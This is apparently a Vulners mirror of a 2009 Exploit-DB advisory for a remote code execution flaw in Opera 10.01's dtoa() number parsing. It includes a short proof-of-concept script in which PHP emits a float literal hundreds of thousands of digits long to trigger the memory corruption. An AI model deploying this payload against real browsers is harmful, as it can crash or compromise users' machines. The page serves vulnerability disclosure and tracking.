Opera Web Browser 10.01 - 'dtoa()' Remote Code Execution
🗓️ 20 Nov 2009 00:00:00Reported by Maksymilian ArciemowiczType 
exploitdb🔗 www.exploit-db.com👁 27 Views
| Reporter | Title | Published | Views | Family All 322 |
|---|---|---|---|---|
 | MacOS X 10.6.3 filesystem hfs Denial of Service Vulnerability | 24 Apr 201000:00 | – | zdt |
| Sunbird 0.9 Array Overrun (code execution) 0day | 11 Dec 200900:00 | – | zdt |
| Opera 10.01 Remote Array Overrun | 19 Nov 200900:00 | – | zdt |
| K-Meleon 1.5.3 Remote Array Overrun | 19 Nov 200900:00 | – | zdt |
| KDE KDELibs 4.3.3 Remote Array Overrun | 19 Nov 200900:00 | – | zdt |
| SeaMonkey 1.1.8 Remote Array Overrun | 19 Nov 200900:00 | – | zdt |
 | mono -- DoS and code execution | 19 Dec 201500:00 | – | freebsd |
| mozilla -- multiple vulnerabilities | 16 Mar 201000:00 | – | freebsd |
 | Google Chrome < 3.0.195.24 RCE | 1 Oct 200900:00 | – | nessus |
| Opera < 10.10 Multiple Vulnerabilities | 24 Nov 200900:00 | – | nessus |
10
source: https://www.securityfocus.com/bid/37078/info
Opera Web Browser is prone to a remote code-execution vulnerability.
Successful exploits may allow an attacker to execute arbitrary code. Failed attacks may cause denial-of-service conditions.
NOTE: This issue is related to BID 35510 (Multiple BSD Distributions 'gdtoa/misc.c' Memory Corruption Vulnerability), but because of differences in the code base, it is being assigned its own record.
This issue affects Opera 10.01; other versions may also be affected.
<script>
var a=0.<?php echo str_repeat("1",296450); ?>;
</script>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 May 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.28054